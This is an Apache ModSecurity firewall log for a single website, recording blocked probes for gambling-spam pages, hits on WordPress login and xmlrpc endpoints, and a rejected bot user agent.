[Fri Mar 13 03:21:40.541071 2026] [:error] [pid 48029:tid 48049] [client 51.222.154.197:48778] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "abMSRG7cFKMmtdGhPH_pwgAAABI"]
[Fri Mar 13 03:21:42.279366 2026] [:error] [pid 56003:tid 56026] [client 51.222.154.197:48786] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "abMSRhQtM0oeMdFWe6Wa8QAAANU"]
[Fri Mar 13 03:21:43.087595 2026] [:error] [pid 48029:tid 48036] [client 51.222.154.197:48792] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "abMSR27cFKMmtdGhPH_pxQAAAAU"]
[Fri Mar 13 03:21:44.640187 2026] [:error] [pid 47894:tid 48014] [client 51.222.154.197:48804] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "abMSSJiuFpRtVNR6uOKbjQAAAQw"]
[Fri Mar 13 03:21:46.116731 2026] [:error] [pid 56003:tid 56006] [client 51.222.154.197:48808] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "abMSShQtM0oeMdFWe6Wa9gAAAME"]
[Fri Mar 13 03:21:46.365647 2026] [:error] [pid 47893:tid 47982] [client 51.222.154.197:48820] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/robots.txt"] [unique_id "abMSSgYSdu6aqxO_Yuc5igAAAIc"]
[Fri Mar 13 03:21:48.354951 2026] [:error] [pid 56003:tid 56028] [client 51.222.154.197:48826] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "abMSTBQtM0oeMdFWe6Wa-QAAANc"]
[Fri Mar 13 03:21:48.839000 2026] [:error] [pid 48029:tid 48052] [client 51.222.154.197:48830] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "abMSTG7cFKMmtdGhPH_pygAAABU"]
[Fri Mar 13 03:21:51.909802 2026] [:error] [pid 48029:tid 48042] [client 51.222.154.197:60078] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/robots.txt"] [unique_id "abMST27cFKMmtdGhPH_p4AAAAAs"]
[Fri Mar 13 03:21:52.639843 2026] [:error] [pid 56003:tid 56015] [client 51.222.154.197:60080] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "abMSUBQtM0oeMdFWe6WbBQAAAMo"]
[Fri Mar 13 06:04:52.502935 2026] [:error] [pid 61927:tid 61965] [client 5.195.98.47:3985] [client 5.195.98.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.195.98.47, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "abM4hLLkK584eBa2J7XI_QAAABM"]
[Fri Mar 13 06:05:15.840204 2026] [:error] [pid 61927:tid 61956] [client 187.1.8.237:25995] [client 187.1.8.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.1.8.237, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "abM4m7LkK584eBa2J7XJAwAAAAo"]
[Fri Mar 13 07:06:33.544756 2026] [:error] [pid 44755:tid 44767] [client 150.109.230.210:45422] [client 150.109.230.210] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "abNG-fONf1H0XrBFE4OO2wAAAQo"]
[Fri Mar 13 09:19:57.642448 2026] [:error] [pid 61929:tid 62028] [client 149.102.230.119:30364] [client 149.102.230.119] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abNmPTGGsow2jgUjLtyEBgAAAJg"]
[Fri Mar 13 09:19:58.681204 2026] [:error] [pid 61927:tid 61960] [client 149.102.230.119:30376] [client 149.102.230.119] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abNmPrLkK584eBa2J7XhDgAAAA4"]
[Fri Mar 13 09:20:00.062398 2026] [:error] [pid 55077:tid 55080] [client 149.102.230.117:24320] [client 149.102.230.117] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abNmQN9Ul5ym4M-PlQJFnAAAAUE"]
[Fri Mar 13 09:20:01.098453 2026] [:error] [pid 61927:tid 61953] [client 149.102.230.119:30384] [client 149.102.230.119] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abNmQbLkK584eBa2J7XhEgAAAAc"]
[Fri Mar 13 09:50:26.465865 2026] [:error] [pid 55077:tid 55095] [client 45.131.195.123:51813] [client 45.131.195.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.123, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "abNtYt9Ul5ym4M-PlQJV2AAAAVA"]
[Fri Mar 13 10:57:53.491227 2026] [:error] [pid 44755:tid 44779] [client 65.108.125.120:20120] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "abN9MfONf1H0XrBFE4PPugAAARY"]
[Fri Mar 13 10:57:56.045151 2026] [:error] [pid 9309:tid 9342] [client 65.108.125.120:20134] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "abN9NKo1KEMMghNWAN9gSgAAAhM"]
[Fri Mar 13 10:57:58.644465 2026] [:error] [pid 9311:tid 9356] [client 65.108.125.120:36720] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "abN9NlTiCkU4QLmYwPm5pwAAAkU"]
[Fri Mar 13 11:00:08.295490 2026] [:error] [pid 44755:tid 44758] [client 65.108.125.120:53010] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "abN9uPONf1H0XrBFE4PRPQAAAQE"]
[Fri Mar 13 11:00:10.990947 2026] [:error] [pid 9309:tid 9345] [client 65.108.125.120:53022] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "abN9uqo1KEMMghNWAN9iAQAAAhY"]
[Fri Mar 13 11:00:13.648876 2026] [:error] [pid 55077:tid 55098] [client 65.108.125.120:53032] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "abN9vd9Ul5ym4M-PlQJkPQAAAVM"]
[Fri Mar 13 11:00:16.042829 2026] [:error] [pid 61928:tid 61991] [client 65.108.125.120:53044] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "abN9wAod66AHekJJZipbOQAAAE4"]
[Fri Mar 13 11:00:18.595186 2026] [:error] [pid 9241:tid 9256] [client 65.108.125.120:3452] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "abN9wg48xagB6AsXkJ7aywAAAcM"]
[Fri Mar 13 11:00:21.264062 2026] [:error] [pid 9309:tid 9347] [client 65.108.125.120:3466] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "abN9xao1KEMMghNWAN9iBQAAAhg"]
[Fri Mar 13 11:00:23.904671 2026] [:error] [pid 9309:tid 9338] [client 65.108.125.120:3468] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "abN9x6o1KEMMghNWAN9iEQAAAg8"]
[Fri Mar 13 11:00:26.526951 2026] [:error] [pid 9309:tid 9342] [client 65.108.125.120:3484] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "abN9yqo1KEMMghNWAN9iHQAAAhM"]
[Fri Mar 13 11:00:29.049034 2026] [:error] [pid 9309:tid 9331] [client 65.108.125.120:15714] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "abN9zao1KEMMghNWAN9iHwAAAgg"]
[Fri Mar 13 11:00:31.571954 2026] [:error] [pid 9309:tid 9334] [client 65.108.125.120:15716] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "abN9z6o1KEMMghNWAN9iJAAAAgs"]
[Fri Mar 13 11:00:34.126205 2026] [:error] [pid 9111:tid 9131] [client 65.108.125.120:15720] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "abN90k-M156SLpD2BrsX7wAAAYU"]
[Fri Mar 13 11:00:36.646075 2026] [:error] [pid 9111:tid 9136] [client 65.108.125.120:15726] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "abN91E-M156SLpD2BrsX8QAAAYo"]
[Fri Mar 13 11:00:39.061383 2026] [:error] [pid 9311:tid 9364] [client 65.108.125.120:29296] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "abN911TiCkU4QLmYwPm6OQAAAk0"]
[Fri Mar 13 11:00:41.722445 2026] [:error] [pid 9309:tid 9330] [client 65.108.125.120:29304] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "abN92ao1KEMMghNWAN9iMAAAAgc"]
[Fri Mar 13 11:00:44.400647 2026] [:error] [pid 44755:tid 44781] [client 65.108.125.120:29306] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "abN93PONf1H0XrBFE4PRTAAAARg"]
[Fri Mar 13 11:00:46.799085 2026] [:error] [pid 9111:tid 9133] [client 65.108.125.120:29314] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "abN93k-M156SLpD2BrsX9wAAAYc"]
[Fri Mar 13 11:00:49.223408 2026] [:error] [pid 44755:tid 44774] [client 65.108.125.120:13218] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "abN94fONf1H0XrBFE4PRUgAAARE"]
[Fri Mar 13 11:00:51.759831 2026] [:error] [pid 9241:tid 9275] [client 65.108.125.120:13230] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "abN94w48xagB6AsXkJ7a4AAAAdU"]
[Fri Mar 13 11:00:54.261663 2026] [:error] [pid 9309:tid 9333] [client 65.108.125.120:13240] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "abN95qo1KEMMghNWAN9iTwAAAgo"]
[Fri Mar 13 11:00:56.684437 2026] [:error] [pid 44755:tid 44780] [client 65.108.125.120:13242] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "abN96PONf1H0XrBFE4PRXgAAARc"]
[Fri Mar 13 11:00:59.235954 2026] [:error] [pid 9309:tid 9327] [client 65.108.125.120:7868] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "abN966o1KEMMghNWAN9iXQAAAgQ"]
[Fri Mar 13 11:01:01.690547 2026] [:error] [pid 9241:tid 9269] [client 65.108.125.120:7876] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "abN97Q48xagB6AsXkJ7a4gAAAdA"]
[Fri Mar 13 11:01:04.218456 2026] [:error] [pid 62036:tid 62048] [client 65.108.125.120:7882] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "abN98Lce6g9kILuh_R5VZAAAAMU"]
[Fri Mar 13 11:01:34.728389 2026] [:error] [pid 9309:tid 9346] [client 65.108.125.120:64130] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "abN-Dqo1KEMMghNWAN9i1gAAAhc"]
[Fri Mar 13 11:01:37.256836 2026] [:error] [pid 9309:tid 9327] [client 65.108.125.120:64136] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "abN-Eao1KEMMghNWAN9i4gAAAgQ"]
[Fri Mar 13 11:01:39.918334 2026] [:error] [pid 61928:tid 61984] [client 65.108.125.120:25506] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "abN-Ewod66AHekJJZipbbAAAAEc"]
[Fri Mar 13 11:01:42.419421 2026] [:error] [pid 9311:tid 9364] [client 65.108.125.120:25520] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "abN-FlTiCkU4QLmYwPm6cwAAAk0"]
[Fri Mar 13 11:01:44.861114 2026] [:error] [pid 9309:tid 9337] [client 65.108.125.120:25532] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "abN-GKo1KEMMghNWAN9jBgAAAg4"]
[Fri Mar 13 11:01:47.328724 2026] [:error] [pid 55077:tid 55081] [client 65.108.125.120:25536] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "abN-G99Ul5ym4M-PlQJkzAAAAUI"]
[Fri Mar 13 11:01:49.856528 2026] [:error] [pid 9309:tid 9330] [client 65.108.125.120:28898] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "abN-Hao1KEMMghNWAN9jFwAAAgc"]
[Fri Mar 13 11:01:52.340081 2026] [:error] [pid 61929:tid 62004] [client 65.108.125.120:28912] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "abN-IDGGsow2jgUjLtyNzgAAAIA"]
[Fri Mar 13 11:01:54.786167 2026] [:error] [pid 9241:tid 9271] [client 65.108.125.120:28918] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "abN-Ig48xagB6AsXkJ7a-AAAAdI"]
[Fri Mar 13 11:01:57.339717 2026] [:error] [pid 61928:tid 61997] [client 65.108.125.120:28924] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "abN-JQod66AHekJJZipbgQAAAFQ"]
[Fri Mar 13 11:01:59.886310 2026] [:error] [pid 9311:tid 9357] [client 65.108.125.120:48312] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "abN-J1TiCkU4QLmYwPm6sQAAAkY"]
